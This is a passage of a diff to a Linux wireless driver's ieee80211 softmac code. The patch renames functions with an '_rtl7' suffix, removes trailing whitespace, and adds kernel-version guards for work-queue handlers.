(le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + 